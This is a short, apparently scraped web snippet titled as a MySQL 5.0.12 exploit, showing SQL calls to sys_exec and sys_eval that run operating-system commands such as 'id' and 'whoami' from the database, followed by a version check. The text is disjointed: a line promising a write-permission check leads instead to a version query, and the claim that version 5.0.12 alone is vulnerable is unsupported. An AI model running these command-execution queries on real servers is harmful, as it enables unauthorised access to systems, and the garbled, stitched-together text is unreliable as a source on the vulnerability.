5.0.12 Exploit | Mysql

-- Execute a command, return the exit code SELECT sys_exec('id > /tmp/owned.txt'); -- Return the output of a command as a string SELECT sys_eval('whoami');

Next, they check for write permissions:

SELECT @@version; If the return is 5.0.12 or 5.0.12-community , the system is vulnerable. mysql 5.0.12 exploit